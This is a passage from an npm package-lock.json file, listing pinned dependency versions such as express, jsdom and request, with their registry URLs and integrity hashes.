"https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", 190 | "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==" 191 | } 192 | } 193 | }, 194 | "dashdash": { 195 | "version": "1.14.1", 196 | "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", 197 | "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", 198 | "requires": { 199 | "assert-plus": "^1.0.0" 200 | } 201 | }, 202 | "data-urls": { 203 | "version": "2.0.0", 204 | "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-2.0.0.tgz", 205 | "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==", 206 | "requires": { 207 | "abab": "^2.0.3", 208 | "whatwg-mimetype": "^2.3.0", 209 | "whatwg-url": "^8.0.0" 210 | } 211 | }, 212 | "debug": { 213 | "version": "2.6.9", 214 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", 215 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", 216 | "requires": { 217 | "ms": "2.0.0" 218 | } 219 | }, 220 | "decimal.js": { 221 | "version": "10.2.1", 222 | "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.2.1.tgz", 223 | "integrity": "sha512-KaL7+6Fw6i5A2XSnsbhm/6B+NuEA7TZ4vqxnd5tXz9sbKtrN9Srj8ab4vKVdK8YAqZO9P1kg45Y6YLoduPf+kw==" 224 | }, 225 | "deep-is": { 226 | "version": "0.1.3", 227 | "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", 228 | "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=" 229 | }, 230 | "delayed-stream": { 231 | "version": "1.0.0", 232 | "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", 233 | "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=" 234 | }, 235 | "depd": { 236 | "version": "1.1.2", 237 | "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", 238 | "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" 239 | }, 240 | "destroy": { 241 | "version": "1.0.4", 242 | "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", 243 | "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" 244 | }, 245 | "domexception": { 246 | "version": "2.0.1", 247 | "resolved": "https://registry.npmjs.org/domexception/-/domexception-2.0.1.tgz", 248 | "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==", 249 | "requires": { 250 | "webidl-conversions": "^5.0.0" 251 | }, 252 | "dependencies": { 253 | "webidl-conversions": { 254 | "version": "5.0.0", 255 | "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz", 256 | "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==" 257 | } 258 | } 259 | }, 260 | "ecc-jsbn": { 261 | "version": "0.1.2", 262 | "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", 263 | "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=", 264 | "requires": { 265 | "jsbn": "~0.1.0", 266 | "safer-buffer": "^2.1.0" 267 | } 268 | }, 269 | "ee-first": { 270 | "version": "1.1.1", 271 | "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", 272 | "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" 273 | }, 274 | "encodeurl": { 275 | "version": "1.0.2", 276 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", 277 | "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=" 278 | }, 279 | "escape-html": { 280 | "version": "1.0.3", 281 | "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", 282 | "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" 283 | }, 284 | "escodegen": { 285 | "version": "1.14.3", 286 | "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.14.3.tgz", 287 | "integrity": "sha512-qFcX0XJkdg+PB3xjZZG/wKSuT1PnQWx57+TVSjIMmILd2yC/6ByYElPwJnslDsuWuSAp4AwJGumarAAmJch5Kw==", 288 | "requires": { 289 | "esprima": "^4.0.1", 290 | "estraverse": "^4.2.0", 291 | "esutils": "^2.0.2", 292 | "optionator": "^0.8.1", 293 | "source-map": "~0.6.1" 294 | } 295 | }, 296 | "esprima": { 297 | "version": "4.0.1", 298 | "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", 299 | "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==" 300 | }, 301 | "estraverse": { 302 | "version": "4.3.0", 303 | "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", 304 | "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==" 305 | }, 306 | "esutils": { 307 | "version": "2.0.3", 308 | "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", 309 | "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==" 310 | }, 311 | "etag": { 312 | "version": "1.8.1", 313 | "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", 314 | "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=" 315 | }, 316 | "express": { 317 | "version": "4.17.1", 318 | "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", 319 | "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", 320 | "requires": { 321 | "accepts": "~1.3.7", 322 | "array-flatten": "1.1.1", 323 | "body-parser": "1.19.0", 324 | "content-disposition": "0.5.3", 325 | "content-type": "~1.0.4", 326 | "cookie": "0.4.0", 327 | "cookie-signature": "1.0.6", 328 | "debug": "2.6.9", 329 | "depd": "~1.1.2", 330 | "encodeurl": "~1.0.2", 331 | "escape-html": "~1.0.3", 332 | "etag": "~1.8.1", 333 | "finalhandler": "~1.1.2", 334 | "fresh": "0.5.2", 335 | "merge-descriptors": "1.0.1", 336 | "methods": "~1.1.2", 337 | "on-finished": "~2.3.0", 338 | "parseurl": "~1.3.3", 339 | "path-to-regexp": "0.1.7", 340 | "proxy-addr": "~2.0.5", 341 | "qs": "6.7.0", 342 | "range-parser": "~1.2.1", 343 | "safe-buffer": "5.1.2", 344 | "send": "0.17.1", 345 | "serve-static": "1.14.1", 346 | "setprototypeof": "1.1.1", 347 | "statuses": "~1.5.0", 348 | "type-is": "~1.6.18", 349 | "utils-merge": "1.0.1", 350 | "vary": "~1.1.2" 351 | }, 352 | "dependencies": { 353 | "qs": { 354 | "version": "6.7.0", 355 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", 356 | "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==" 357 | }, 358 | "safe-buffer": { 359 | "version": "5.1.2", 360 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", 361 | "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" 362 | } 363 | } 364 | }, 365 | "express-validator": { 366 | "version": "6.6.0", 367 | "resolved": "https://registry.npmjs.org/express-validator/-/express-validator-6.6.0.tgz", 368 | "integrity": "sha512-xcephfzFbUssJph/nOSKIdx+I+8GRz5by/8rOIKL6gJikKKKJjnwYH5TG1nIDB6kEalUtZMbOFuSNOp/HHY84Q==", 369 | "requires": { 370 | "lodash": "^4.17.15", 371 | "validator": "^13.1.1" 372 | } 373 | }, 374 | "extend": { 375 | "version": "3.0.2", 376 | "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", 377 | "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" 378 | }, 379 | "extsprintf": { 380 | "version": "1.3.0", 381 | "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", 382 | "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=" 383 | }, 384 | "fast-deep-equal": { 385 | "version": "3.1.3", 386 | "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", 387 | "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" 388 | }, 389 | "fast-json-stable-stringify": { 390 | "version": "2.1.0", 391 | "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", 392 | "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" 393 | }, 394 | "fast-levenshtein": { 395 | "version": "2.0.6", 396 | "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", 397 | "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=" 398 | }, 399 | "finalhandler": { 400 | "version": "1.1.2", 401 | "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz", 402 | "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", 403 | "requires": { 404 | "debug": "2.6.9", 405 | "encodeurl": "~1.0.2", 406 | "escape-html": "~1.0.3", 407 | "on-finished": "~2.3.0", 408 | "parseurl": "~1.3.3", 409 | "statuses": "~1.5.0", 410 | "unpipe": "~1.0.0" 411 | } 412 | }, 413 | "forever-agent": { 414 | "version": "0.6.1", 415 | "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", 416 | "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=" 417 | }, 418 | "form-data": { 419 | "version": "2.3.3", 420 | "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", 421 | "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", 422 | "requires": { 423 | "asynckit": "^0.4.0", 424 | "combined-stream": "^1.0.6", 425 | "mime-types": "^2.1.12" 426 | } 427 | }, 428 | "forwarded": { 429 | "version": "0.1.2", 430 | "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz", 431 | "integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=" 432 | }, 433 | "fresh": { 434 | "version": "0.5.2", 435 | "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", 436 | "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=" 437 | }, 438 | "getpass": { 439 | "version": "0.1.7", 440 | "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", 441 | "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", 442 | "requires": { 443 | "assert-plus": "^1.0.0" 444 | } 445 | }, 446 | "har-schema": { 447 | "version": "2.0.0", 448 | "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", 449 | "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=" 450 | }, 451 | "har-validator": { 452 | "version": "5.1.5", 453 | "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.5.tgz", 454 | "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==", 455 | "requires": { 456 | "ajv": "^6.12.3", 457 | "har-schema": "^2.0.0" 458 | } 459 | }, 460 | "html-encoding-sniffer": { 461 | "version": "2.0.1", 462 | "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz", 463 | "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==", 464 | "requires": { 465 | "whatwg-encoding": "^1.0.5" 466 | } 467 | }, 468 | "http-errors": { 469 | "version": "1.7.2", 470 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", 471 | "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", 472 | "requires": { 473 | "depd": "~1.1.2", 474 | "inherits": "2.0.3", 475 | "setprototypeof": "1.1.1", 476 | "statuses": ">= 1.5.0 < 2", 477 | "toidentifier": "1.0.0" 478 | } 479 | }, 480 | "http-signature": { 481 | "version": "1.2.0", 482 | "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", 483 | "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", 484 | "requires": { 485 | "assert-plus": "^1.0.0", 486 | "jsprim": "^1.2.2", 487 | "sshpk": "^1.7.0" 488 | } 489 | }, 490 | "iconv-lite": { 491 | "version": "0.4.24", 492 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", 493 | "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", 494 | "requires": { 495 | "safer-buffer": ">= 2.1.2 < 3" 496 | } 497 | }, 498 | "inherits": { 499 | "version": "2.0.3", 500 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", 501 | "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" 502 | }, 503 | "ip-regex": { 504 | "version": "2.1.0", 505 | "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz", 506 | "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=" 507 | }, 508 | "ipaddr.js": { 509 | "version": "1.9.1", 510 | "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", 511 | "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==" 512 | }, 513 | "is-potential-custom-element-name": { 514 | "version": "1.0.0", 515 | "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.0.tgz", 516 | "integrity": "sha1-DFLlS8yjkbssSUsh6GJtczbG45c=" 517 | }, 518 | "is-typedarray": { 519 | "version": "1.0.0", 520 | "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", 521 | "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" 522 | }, 523 | "isstream": { 524 | "version": "0.1.2", 525 | "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", 526 | "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" 527 | }, 528 | "jquery": { 529 | "version": "3.5.1", 530 | "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.5.1.tgz", 531 | "integrity": "sha512-XwIBPqcMn57FxfT+Go5pzySnm4KWkT1Tv7gjrpT1srtf8Weynl6R273VJ5GjkRb51IzMp5nbaPjJXMWeju2MKg==" 532 | }, 533 | "jsbn": { 534 | "version": "0.1.1", 535 | "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", 536 | "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=" 537 | }, 538 | "jsdom": { 539 | "version": "16.4.0", 540 | "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-16.4.0.tgz", 541 | "integrity": "sha512-lYMm3wYdgPhrl7pDcRmvzPhhrGVBeVhPIqeHjzeiHN3DFmD1RBpbExbi8vU7BJdH8VAZYovR8DMt0PNNDM7k8w==", 542 | "requires": { 543 | "abab": "^2.0.3", 544 | "acorn": "^7.1.1", 545 | "acorn-globals": "^6.0.0", 546 | "cssom": "^0.4.4", 547 | "cssstyle": "^2.2.0", 548 | "data-urls": "^2.0.0", 549 | "decimal.js": "^10.2.0", 550 | "domexception": "^2.0.1", 551 | "escodegen": "^1.14.1", 552 | "html-encoding-sniffer": "^2.0.1", 553 | "is-potential-custom-element-name": "^1.0.0", 554 | "nwsapi": "^2.2.0", 555 | "parse5": "5.1.1", 556 | "request": "^2.88.2", 557 | "request-promise-native": "^1.0.8", 558 | "saxes": "^5.0.0", 559 | "symbol-tree": "^3.2.4", 560 | "tough-cookie": "^3.0.1", 561 | "w3c-hr-time": "^1.0.2", 562 | "w3c-xmlserializer": "^2.0.0", 563 | "webidl-conversions": "^6.1.0", 564 | "whatwg-encoding": "^1.0.5", 565 | "whatwg-mimetype": "^2.3.0", 566 | "whatwg-url": "^8.0.0", 567 | "ws": "^7.2.3", 568 | "xml-name-validator": "^3.0.0" 569 | } 570 | }, 571 | "json-schema": { 572 | "version": "0.2.3", 573 | "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", 574 | "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=" 575 | }, 576 | "json-schema-traverse": { 577 | "version": "0.4.1", 578 | "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", 579 | "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" 580 | }, 581 | "json-stringify-safe": { 582 | "version": "5.0.1", 583 | "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", 584 | "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" 585 | }, 586 | "jsprim": { 587 | "version": "1.4.1", 588 | "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", 589 | "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", 590 | "requires": { 591 | "assert-plus": "1.0.0", 592 | "extsprintf": "1.3.0", 593 | "json-schema": "0.2.3", 594 | "verror": "1.10.0" 595 | } 596 | }, 597 | "levn": { 598 | "version": "0.3.0", 599 | "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", 600 | "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", 601 | "requires": { 602 | "prelude-ls": "~1.1.2", 603 | "type-check": "~0.3.2" 604 | } 605 | }, 606 | "lodash": { 607 | "version": "4.17.16", 608 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.16.tgz", 609 | "integrity": "sha512-mzxOTaU4AsJhnIujhngm+OnA6JX4fTI8D5H26wwGd+BJ57bW70oyRwTqo6EFJm1jTZ7hCo7yVzH1vB8TMFd2ww==" 610 | }, 611 | "lodash.sortby": { 612 | "version": "4.7.0", 613 | "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz", 614 | "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=" 615 | }, 616 | "media-typer": { 617 | "version": "0.3.0", 618 | "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", 619 | "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=" 620 | }, 621 | "merge-descriptors": { 622 | "version": "1.0.1", 623 | "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", 624 | "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" 625 | }, 626 | "methods": { 627 | "version": "1.1.2", 628 | "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", 629 | "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" 630 | }, 631 | "mime": { 632 | "version": "1.6.0", 633 | "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", 634 | "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" 635 | }, 636 | "mime-db": { 637 | "version": "1.44.0", 638 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.44.0.tgz", 639 | "integrity": "sha512-/NOTfLrsPBVeH7YtFPgsVWveuL+4SjjYxaQ1xtM1KMFj7HdxlBlxeyNLzhyJVx7r4rZGJAZ/6lkKCitSc/Nmpg==" 640 | }, 641 | "mime-types": { 642 | "version": "2.1.27", 643 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.27.tgz", 644 | "integrity": "sha512-JIhqnCasI9yD+SsmkquHBxTSEuZdQX5BuQnS2Vc7puQQQ+8yiP5AY5uWhpdv4YL4VM5c6iliiYWPgJ/nJQLp7w==", 645 | "requires": { 646 | "mime-db": "1.44.0" 647 | } 648 | }, 649 | "ms": { 650 | "version": "2.0.0", 651 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", 652 | "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" 653 | }, 654 | "negotiator": { 655 | "version": "0.6.2", 656 | "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz", 657 | "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==" 658 | }, 659 | "nwsapi": { 660 | "version": "2.2.0", 661 | "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.0.tgz", 662 | "integrity": "sha512-h2AatdwYH+JHiZpv7pt/gSX1XoRGb7L/qSIeuqA6GwYoF9w1vP1cw42TO0aI2pNyshRK5893hNSl+1//vHK7hQ==" 663 | }, 664 | "oauth-sign": { 665 | "version": "0.9.0", 666 | "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", 667 | "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" 668 | }, 669 | "on-finished": { 670 | "version": "2.3.0", 671 | "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", 672 | "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", 673 | "requires": { 674 | "ee-first": "1.1.1" 675 | } 676 | }, 677 | "optionator": { 678 | "version": "0.8.3", 679 | "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", 680 | "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", 681 | "requires": { 682 | "deep-is": "~0.1.3", 683 | "fast-levenshtein": "~2.0.6", 684 | "levn": "~0.3.0", 685 | "prelude-ls": "~1.1.2", 686 | "type-check": "~0.3.2", 687 | "word-wrap": "~1.2.3" 688 | } 689 | }, 690 | "parse5": { 691 | "version": "5.1.1", 692 | "resolved": "https://registry.npmjs.org/parse5/-/parse5-5.1.1.tgz", 693 | "integrity": "sha512-ugq4DFI0Ptb+WWjAdOK16+u/nHfiIrcE+sh8kZMaM0WllQKLI9rOUq6c2b7cwPkXdzfQESqvoqK6ug7U/Yyzug==" 694 | }, 695 | "parseurl": { 696 | "version": "1.3.3", 697 | "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", 698 | "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==" 699 | }, 700 | "path-to-regexp": { 701 | "version": "0.1.7", 702 | "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", 703 | "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" 704 | }, 705 | "performance-now": { 706 | "version": "2.1.0", 707 | "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", 708 | "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" 709 | }, 710 | "prelude-ls": { 711 | "version": "1.1.2", 712 | "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", 713 | "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=" 714 | }, 715 | "proxy-addr": { 716 | "version": "2.0.6", 717 | "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.6.tgz", 718 | "integrity": "sha512-dh/frvCBVmSsDYzw6n926jv974gddhkFPfiN8hPOi30Wax25QZyZEGveluCgliBnqmuM+UJmBErbAUFIoDbjOw==", 719 | "requires": { 720 | "forwarded": "~0.1.2", 721 | "ipaddr.js": "1.9.1" 722 | } 723 | }, 724 | "psl": { 725 | "version": "1.8.0", 726 | "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", 727 | "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==" 728 | }, 729 | "punycode": { 730 | "version": "2.1.1", 731 | "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", 732 | "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" 733 | }, 734 | "qs": { 735 | "version": "6.5.2", 736 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", 737 | "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==" 738 | }, 739 | "range-parser": { 740 | "version": "1.2.1", 741 | "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", 742 | "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" 743 | }, 744 | "raw-body": { 745 | "version": "2.4.0", 746 | "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", 747 | "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", 748 | "requires": { 749 | "bytes": "3.1.0", 750 | "http-errors": "1.7.2", 751 | "iconv-lite": "0.4.24", 752 | "unpipe": "1.0.0" 753 | } 754 | }, 755 | "request": { 756 | "version": "2.88.2", 757 | "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", 758 | "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", 759 | "requires": { 760 | "aws-sign2": "~0.7.0", 761 | "aws4": "^1.8.0", 762 | "caseless": "~0.12.0", 763 | "combined-stream": "~1.0.6", 764 | "extend": "~3.0.2", 765 | "forever-agent": "~0.6.1", 766 | "form-data": "~2.3.2", 767 | "har-validator": "~5.1.3", 768 | "http-signature": "~1.2.0", 769 | "is-typedarray": "~1.0.0", 770 | "isstream": "~0.1.2", 771 | "json-stringify-safe": "~5.0.1", 772 | "mime-types": "~2.1.19", 773 | "oauth-sign": "~0.9.0", 774 | "performance-now": "^2.1.0", 775 | "qs": "~6.5.2", 776 | "safe-buffer": "^5.1.2", 777 | "tough-cookie": "~2.5.0", 778 | "tunnel-agent": "^0.6.0", 779 | "uuid": "^3.3.2" 780 | }, 781 | "dependencies": { 782 | "tough-cookie": { 783 | "version": "2.5.0", 784 | "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", 785 | "integrity": 